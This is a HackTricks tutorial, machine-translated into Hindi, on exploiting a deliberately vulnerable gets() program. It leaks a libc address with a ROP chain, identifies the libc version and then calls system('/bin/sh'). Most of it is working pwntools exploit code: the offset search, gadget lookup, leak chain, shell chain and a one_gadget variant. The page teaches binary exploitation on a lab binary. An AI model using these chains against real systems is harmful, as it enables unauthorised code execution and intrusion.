Leaking libc address with ROP

HackTricks का समर्थन करें

त्वरित सारांश

  1. ओवरफ्लो ऑफसेट खोजें

  2. POP_RDI गैजेट, PUTS_PLT और MAIN गैजेट खोजें

  3. पिछले गैजेट्स का उपयोग करके puts या अन्य libc फ़ंक्शन का मेमोरी पता लीक करें और libc संस्करण खोजें (डाउनलोड करें)

  4. पुस्तकालय के साथ, ROP की गणना करें और इसका शोषण करें

अभ्यास के लिए अन्य ट्यूटोरियल और बाइनरी

यह ट्यूटोरियल इस ट्यूटोरियल में प्रस्तावित कोड/बाइनरी का शोषण करने जा रहा है: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ अन्य उपयोगी ट्यूटोरियल: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

कोड

फाइल का नाम: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC लीक करने का टेम्पलेट

एक्सप्लॉइट डाउनलोड करें और इसे कमजोर बाइनरी के समान निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें:

Leaking libc - template

1- ऑफसेट खोजना

टेम्पलेट को एक्सप्लॉइट के साथ आगे बढ़ने से पहले एक ऑफसेट की आवश्यकता होती है। यदि कोई प्रदान किया गया है, तो यह इसे खोजने के लिए आवश्यक कोड निष्पादित करेगा (डिफ़ॉल्ट रूप से OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Execute python template.py एक GDB कंसोल खोला जाएगा जिसमें प्रोग्राम क्रैश हो रहा है। उस GDB कंसोल के अंदर x/wx $rsp चलाएँ ताकि bytes प्राप्त कर सकें जो RIP को ओवरराइट करने वाले थे। अंत में एक python कंसोल का उपयोग करके offset प्राप्त करें:

from pwn import *
cyclic_find(0x6161616b)

ऑफसेट (इस मामले में 40) खोजने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET चर को बदलें। OFFSET = "A" * 40

एक और तरीका होगा: pattern create 1000 -- ret तक निष्पादित करें -- pattern seach $rsp GEF से।

2- गैजेट्स खोजना

अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स puts को कॉल करने के लिए उपयोगी होंगे ताकि libc का पता लगाया जा सके, और बाद में अंतिम हमले को लॉन्च करने के लिए।

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

The PUTS_PLT फंक्शन puts को कॉल करने के लिए आवश्यक है। The MAIN_PLT मुख्य फंक्शन को फिर से कॉल करने के लिए आवश्यक है एक इंटरैक्शन के बाद overflow को फिर से exploits करने के लिए (exploitation के अनंत राउंड)। यह प्रत्येक ROP के अंत में प्रोग्राम को फिर से कॉल करने के लिए उपयोग किया जाता है। The POP_RDI को कॉल किए गए फंक्शन को पैरामीटर पास करने के लिए आवश्यक है।

इस चरण में आपको कुछ भी निष्पादित करने की आवश्यकता नहीं है क्योंकि सब कुछ pwntools द्वारा निष्पादन के दौरान पाया जाएगा।

3- libc लाइब्रेरी खोजना

अब यह पता लगाने का समय है कि कौन सी libc लाइब्रेरी का संस्करण उपयोग किया जा रहा है। ऐसा करने के लिए हम फंक्शन puts के मेमोरी में पता को leak करने जा रहे हैं और फिर हम यह खोजने जा रहे हैं कि उस पते में puts संस्करण किस लाइब्रेरी संस्करण में है।

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

इसको करने के लिए, निष्पादित कोड की सबसे महत्वपूर्ण पंक्ति है:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

यह कुछ बाइट्स भेजेगा जब तक कि RIP को ओवरराइट करना संभव न हो: OFFSET. फिर, यह गैजेट POP_RDI का पता सेट करेगा ताकि अगला पता (FUNC_GOT) RDI रजिस्टर में सहेजा जा सके। इसका कारण यह है कि हम puts को कॉल करना चाहते हैं उसे PUTS_GOT का पता पास करते हुए क्योंकि मेमोरी में puts फ़ंक्शन का पता PUTS_GOT द्वारा इंगित किए गए पते में सहेजा गया है। इसके बाद, PUTS_PLT को कॉल किया जाएगा (जिसमें PUTS_GOT RDI के अंदर है) ताकि puts PUTS_GOT के अंदर की सामग्री (मेमोरी में puts फ़ंक्शन का पता) को पढ़े और इसे प्रिंट करे। अंत में, मुख्य फ़ंक्शन फिर से कॉल किया जाता है ताकि हम फिर से ओवरफ्लो का लाभ उठा सकें।

इस तरह हमने puts फ़ंक्शन को प्रिंट करने के लिए धोखा दिया कि फ़ंक्शन puts का पता मेमोरी में (जो libc लाइब्रेरी के अंदर है) है। अब जब हमारे पास वह पता है, हम खोज सकते हैं कि कौन सा libc संस्करण उपयोग में है

चूंकि हम कुछ स्थानीय बाइनरी का शोषण कर रहे हैं, इसलिए यह जानने की आवश्यकता नहीं है कि कौन सा libc संस्करण उपयोग में है (बस /lib/x86_64-linux-gnu/libc.so.6 में लाइब्रेरी खोजें)। लेकिन, एक दूरस्थ शोषण मामले में, मैं यहाँ बताऊंगा कि आप इसे कैसे खोज सकते हैं:

3.1- libc संस्करण की खोज (1)

आप वेब पृष्ठ पर देख सकते हैं कि कौन सी लाइब्रेरी उपयोग में है: https://libc.blukat.me/ यह आपको खोजे गए libc के संस्करण को डाउनलोड करने की भी अनुमति देगा।

3.2- libc संस्करण की खोज (2)

आप यह भी कर सकते हैं:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

इसमें कुछ समय लगेगा, धैर्य रखें। इसके लिए हमें आवश्यकता है:

  • Libc प्रतीक नाम: puts

  • लीक किया गया libc पता: 0x7ff629878690

हम यह पता लगा सकते हैं कि कौन सा libc सबसे अधिक संभावना है कि उपयोग में है।

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

हमें 2 मिलान मिलते हैं (यदि पहला काम नहीं कर रहा है तो आपको दूसरे को आजमाना चाहिए)। पहला डाउनलोड करें:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so से libc को हमारी कार्यशील निर्देशिका में कॉपी करें।

3.3- अन्य फ़ंक्शन लीक करने के लिए

puts
printf
__libc_start_main
read
gets

4- libc पते को खोजने और शोषण करने के लिए

इस बिंदु पर हमें उपयोग की जाने वाली libc लाइब्रेरी के बारे में पता होना चाहिए। चूंकि हम एक स्थानीय बाइनरी का शोषण कर रहे हैं, मैं केवल उपयोग करूंगा: /lib/x86_64-linux-gnu/libc.so.6

तो, template.py की शुरुआत में libc वेरिएबल को बदलें: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #जब पता हो तो लाइब्रेरी पथ सेट करें

libc लाइब्रेरी को पथ देने से बाकी का शोषण स्वचालित रूप से गणना किया जाएगा

get_addr फ़ंक्शन के अंदर libc का आधार पता गणना किया जाएगा:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

ध्यान दें कि अंतिम libc आधार पता 00 पर समाप्त होना चाहिए। यदि ऐसा नहीं है, तो आप एक गलत पुस्तकालय लीक कर सकते हैं।

फिर, फ़ंक्शन system का पता और स्ट्रिंग "/bin/sh" का पता libc के आधार पते से गणना किया जाएगा और libc पुस्तकालय को दिया जाएगा।

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

अंत में, /bin/sh निष्पादन शोषण तैयार किया जाएगा:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

चलो इस अंतिम ROP को समझाते हैं। अंतिम ROP (rop1) ने फिर से मुख्य फ़ंक्शन को कॉल किया, फिर हम फिर से शोषण कर सकते हैं ओवरफ्लो (इसलिए OFFSET यहाँ फिर से है)। फिर, हम POP_RDI को कॉल करना चाहते हैं जो "/bin/sh" (BINSH) के पते की ओर इशारा करता है और system फ़ंक्शन (SYSTEM) को कॉल करते हैं क्योंकि "/bin/sh" का पता एक पैरामीटर के रूप में पास किया जाएगा। अंत में, exit फ़ंक्शन का पता कॉल किया जाता है ताकि प्रक्रिया अच्छी तरह से समाप्त हो जाए और कोई अलर्ट उत्पन्न न हो।

इस तरह शोषण एक _/bin/sh_** शेल को निष्पादित करेगा।**

4(2)- ONE_GADGET का उपयोग करना

आप ONE_GADGET का उपयोग करके system और "/bin/sh" के बजाय एक शेल प्राप्त कर सकते हैं। ONE_GADGET libc पुस्तकालय के अंदर एक शेल प्राप्त करने का एक तरीका खोजेगा जो केवल एक ROP पता का उपयोग करता है। हालांकि, सामान्यतः कुछ सीमाएँ होती हैं, सबसे सामान्य और आसानी से बचने वाली सीमाएँ हैं जैसे [rsp+0x30] == NULL। चूंकि आप RSP के अंदर के मानों को नियंत्रित करते हैं, इसलिए आपको कुछ और NULL मान भेजने की आवश्यकता है ताकि सीमा से बचा जा सके।

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

आप इस कमजोरियों का फायदा उठाने के लिए एक टेम्पलेट यहाँ पा सकते हैं:

Leaking libc - template

सामान्य समस्याएँ

MAIN_PLT = elf.symbols['main'] नहीं मिला

यदि "main" प्रतीक मौजूद नहीं है। तो आप यह पता कर सकते हैं कि मुख्य कोड कहाँ है:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

और पते को मैन्युअल रूप से सेट करें:

MAIN_PLT = 0x401080

Puts नहीं मिला

यदि बाइनरी Puts का उपयोग नहीं कर रही है, तो आपको यह जांचना चाहिए कि क्या यह उपयोग कर रही है

sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला

यदि आप सभी एक्सप्लॉइट बनाने के बाद यह त्रुटि पाते हैं: sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला

तो "/bin/sh" के पते से 64 बाइट घटाने का प्रयास करें:

BINSH = next(libc.search("/bin/sh")) - 64
HackTricks का समर्थन करें

Last updated